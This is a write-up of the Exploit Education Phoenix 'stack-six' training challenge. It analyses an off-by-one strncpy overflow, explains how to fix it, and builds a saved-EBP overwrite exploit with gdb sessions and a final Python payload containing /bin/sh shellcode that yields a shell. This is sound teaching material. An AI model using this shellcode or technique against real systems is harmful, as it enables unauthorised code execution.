Stack 6

Write-up for: Stack Six

The goal is to take control of execution. Input can be passed to the program via the ExploitEducation environment variable.

user@phoenix-amd64:/opt/phoenix/i486$ ./stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Welcome home, Hello

Static analysis

a pointer to the environment variable is stored in a local variable (ebp - local_ch)

the greet function is called with this pointer as an argument

The greet function is the most interesting part of the program. Let’s inspect it in detail:

radare2 stack-six aa VV @ sym.greet

First, the length of the environment variable (passed as a pointer argument) is stored at ebp - local_ch . If the length is greater than 127 (0x7f), 127 is stored as the length instead.

call sym.imp.strlen ;[a]; size_t strlen(const char *s); | mov dword [ebp - local_ch], eax ... // store 0x7f instead cmp eax, 0x7f jbe 0x80485af // jump below or equal mov dword [ebp - local_ch], 0x7f

Next, in greet , the global variable what is stored in eax and then copied to the buffer at ebp - local_8ch using strcpy . After that, the length of the buffer (at ebp - local_8ch ) is calculated with strlen . The result of this call is used to determine the first argument to strncpy , which copies up to 127 bytes of the argument value (the environment value) to buffer + strlen(buffer) .

The bug

Now, the bug is evident. The buffer can hold 128 bytes including the terminating null byte. A constant string is copied to the buffer first. Afterwards, seemingly bounds checked,a user-provided string is copied after that. However, the bounds check does not take into account that the value is not written to the beginning of the buffer.

maxSize = strlen(who); if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) { maxSize = sizeof(buffer) - 1; } strcpy(buffer, what); strncpy(buffer + strlen(buffer), who, maxSize); // THIS CAN OVERFLOW BY strlen(buffer) bytes

As an attacker, we can overflow the stack buffer variable by a maximum of strlen(buffer) .

Fixing the bug

To fix the issue, the maximum size calculation to be used in strncpy would need to happen after the first strcpy and would need to subtract strlen(buffer) from the maximum of 127 bytes.

Dynamic analysis

Some information required for exploiting the bug can be more easily obtained via inspecting the program at runtime.

First, we need the size of the global variable what to determine strlen(buffer) at the time of the overflow:

(gdb) print (char*)what $1 = 0x80486c0 "Welcome home, "

The string at the beginning of the 128 byte buffer is “Welcome home, “ which, including the terminating null byte, is 15 bytes long. That means we can overwrite the buffer by at most 15 bytes. Not enough for placing our shellcode but maybe enough to redirect execution.

Exploitation

The plan of attack is to overwrite the stored return address of greet in order to control eip . Afterwards, we will try to store our shellcode somewhere and jump there.

In order to overwrite the return address, we need the offset of the address to buffer. This can be determined in gdb by inspecting the stack at various points of execution.

Address of user input: 0xffffd4bc Return address (this is what we look for on the stack): 0x0804865f Stored return address location: 0xffffd54c

Offset = 0xffffd54c - 0xffffd4bc = 144

This is a problem because the maximum size we can write is 127 + 15 = 142. That’s enough to crash the program, but not enough to directly overwrite EIP. Let’s see if there is anything we can control:

$- export ExploitEducation=`python -c 'print "A" * 127'` (gdb) break *greet+133 Breakpoint 1 at 0x804860a (gdb) r Starting program: /opt/phoenix/i486/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Breakpoint 1, 0x0804860a in greet () (gdb) info reg eax 0x8049930 134519088 ecx 0x0 0 edx 0x0 0 ebx 0x41414141 1094795585 esp 0xffffd54c 0xffffd54c ebp 0xffffd541 0xffffd541 esi 0xffffd604 -10748 edi 0x1 1 eip 0x804860a 0x804860a <greet+133> eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/xw 0xffffd541 0xffffd541: 0x41414141

Using the maximum overflow length, we can observe that we control the LSB of the EBP register. How is this helpful in controlling execution? During the return from greet EBP is used to restore ESP. Then, the value from the top of ESP is used to load EIP in order to continue execution. Since we control the value at the overwritten EBP address (0x41414141), we should be able to overwrite EIP.

saved ebp: 0xffffd558 @ 0xffffd528

In the debugger we can see that we overwrite the last byte of the saved EBP.

0xffffd520: 0x41414141 0x41414141 0xffffd541 0x0804865f

Using this technique, we can manipulate ESP in the main function. Just before leaving main , its value is: 0xffffd545 = overwritten EBP (0xffffd541) + 0x4 .

Just before leaving main the value stored at that address is 0x0, leading to a crash during return (SIGSEGV). The goal is now to manipulate the last byte of the stored EBP, so that EBP+0x4 points to a value we control.

(gdb) x/xw $esp 0xffffd545: 0x00000000 (gdb) x/16xw $esp-41 0xffffd51c: 0x00000000 0x41414141 0xffffd5e4 0x00000001 0xffffd52c: 0x0804866b 0x08049930 0x00000000 0x00000000 0xffffd53c: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd54c: 0xffffded6 0x00000000 0xffffd570 0xffffd5ec

0x08048673 <+104>: mov ecx,DWORD PTR [ebp-0x4]

Here, the value at ebp-0x4 is stored in ecx. This is crucial since ECX will be used to restore ESP before leaving main . This means, if we can control the value at EBP-0x4 we can set ESP to an arbitrary value before leaving main . If we can do this, we can control EIP and gain arbitrary code execution.

0x08048676 <+107>: leave => 0x08048677 <+108>: lea -0x4(%ecx),%esp 0x0804867a <+111>: ret

When leaving main , ESP is set to ECX-0x4. Remember, ECX was previously set to an attacker-controlled value.

First, we need to find the offset that can be used to arbitrarily set the last byte of EBP. This is easy, since it is only one byte, it is most likely the very last byte of our payload. Let’s confirm this:

export ExploitEducation=`python -c 'print "A" * 126 + "B"'` (gdb) break *main+107 Breakpoint 1 at 0x8048676 (gdb) r Starting program: /opt/phoenix/i486/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Welcome home, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB_ Breakpoint 1, 0x08048676 in main () (gdb) info reg eax 0x0 0 ecx 0x41410000 1094778880 edx 0x0 0 ebx 0x41414141 1094795585 esp 0xffffd560 0xffffd560 ebp 0xffffd542 0xffffd542 esi 0xffffd604 -10748 edi 0x1 1 eip 0x8048676 0x8048676 <main+107> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99

We can see that before leaving main, EBP is set to 0xffffd542. This means we can control the LSB by setting the last byte of our payload. Great!

Next, we need to find a suitable byte. This means having user-controlled data at EBP-0x4. To do that, let’s just look at the surroundings of what we currently have:

(gdb) x (0xffffd544-0x4) 0xffffd540: 0x41414141

This looks promising! Setting the byte to 0x44 lands us at some user-controlled value. Now, we need to find the offset of this value. Let’s do this by using a unique pattern generated by https://github.com/Svenito/exploit-pattern.

~/exploit-pattern [master] » python pattern.py 126 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1 user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1" + "B"'` (gdb) x/4c 0xffffd540 0xffffd540: 48 '0' 65 'A' 101 'e' 49 '1' ~/exploit-pattern [master] » python pattern.py 0Ae1 Pattern 0Ae1 first occurrence at position 122 in pattern.

This tells us, that the user-controlled word is at offset 122 in our payload. Let’s confirm this by writing something specific there:

user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python -c 'print "A" * 122 + "CCCC" + "B"'` (gdb) x/4c 0xffffd540 0xffffd540: 67 'C' 67 'C' 67 'C' 67 'C'

This works. To recap, now we can control ESP because ESP is set to ECX-0x4 and ECX is set to whatever is stored at EBP-0x4. The value that we store there should therefore point to our buffer. Then we can provide a new value for EIP and the game is over. Our payload currently looks like this:

[A*122][CCCC][0x44] . This should lead to a ECX value of 0x43434343 (CCCC). Let’s confirm:

(gdb) info reg eax 0x0 0 ecx 0x43434343 1128481603

Now all that is left is find a good address to jump to. Ideally some area of memory that we control via the environment variable. Let’s check were our buffer is before it is printed out in main :

(gdb) x/64xw 0x8049930 0x8049930: 0x636c6557 0x20656d6f 0x656d6f68 0x4141202c 0x8049940: 0x41414141 0x41414141 0x41414141 0x41414141 0x8049950: 0x41414141 0x41414141 0x41414141 0x41414141 0x8049960: 0x41414141 0x41414141 0x41414141 0x41414141 0x8049970: 0x41414141 0x41414141 0x41414141 0x41414141 0x8049980: 0x41414141 0x41414141 0x41414141 0x41414141 0x8049990: 0x41414141 0x41414141 0x41414141 0x41414141 0x80499a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x80499b0: 0x41414141 0x41414141 0x43434343 0xffffd544 0x80499c0: 0x0804865f 0xffffdef3 0x00000000 0x00000000 0x80499d0: 0x00000000 0x00000000 0x000000b1 0x00000620 0x80499e0: 0xf7ffb968 0xf7ffb968 0x00000000 0x00000000 0x80499f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a00: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a10: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a20: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049940 looks like a good candidate. To load it as ESP, we have to add 0x4, so we use 0x8049944 for the value at EBP-0x4 that is loaded into ECX.

Running the program now is very promising:

eip 0x41414141 0x41414141

We control EIP! The game is now over :) All that’s left is to write some shellcode into this buffer instead of “A”s. This is our final exploit:

buf = " \x08\x04\x99\x46 " [:: - 1 ] # top of "new stack" -> will be EIP buf += " \x90 " * 8 # some leeway buf += " \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 " # /bin/sh buf += " \x90 " * ( 122 - len ( buf )) # padding buf += " \x08\x04\x99\x42 " [:: - 1 ] # new ECX (ESP + 0x4) buf += " \x44 " # LSB for EBP print buf

Running it in gdb works! We have a shell!

user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python ~/stack-six.py` user@phoenix-amd64:/opt/phoenix/i486$ gdb stack-six GNU gdb (GDB) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-pc-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from stack-six...(no debugging symbols found)...done. (gdb) run Starting program: /opt/phoenix/i486/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Welcome home, 1Ph//shh/binS̀D_ process 662 is executing new program: /bin/dash warning: Could not load shared library symbols for linux-vdso.so.1. Do you need "set solib-search-path" or "set sysroot"? $ ls [Detaching after fork from child process 666] final-one format-four format-two heap-three net-one stack-five stack-six stack-zero final-two format-one format-zero heap-two net-two stack-four stack-three final-zero format-three heap-one heap-zero net-zero stack-one stack-two

However, since we forgot about the environment difference between gdb and outside, it does not work standalone. Let’s fix that. In order to make it work outside we need to fix the target addresses used in our exploit since they will be shifted due to gdb having additional environment variables in front of the stack. The process is the same: look at the memory just before leaving main .

To provide the same environment, we need to run the following in gdb:

unset env LINES unset env COLUMNS set env _ /opt/phoenix/i486/stack-six

Then we can determine a new LSB for EBP so we can control EIP reliably:

Set LSB of EBP (buf[127]) so that EBP-0x4 is controlled by user: 0x54

Final Exploitation

buf = " \x08\x04\x99\x46 " [:: - 1 ] # top of "new stack" -> will be EIP buf += " \x90 " * 8 # some leeway buf += " \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 " # /bin/sh buf += " \x90 " * ( 122 - len ( buf )) # padding buf += " \x08\x04\x99\x42 " [:: - 1 ] # new ESP buf += " \x54 " # LSB for EBP, will make ECX = *(EBP - 0x4) print buf

user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python ~/stack-six.py` user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Welcome home, 1Ph//shh/binS̀T_ $ whoami phoenix-i386-stack-six

PWNED!

Further reference

Article on one-byte overflows: https://www.cgsecurity.org/exploit/P55-08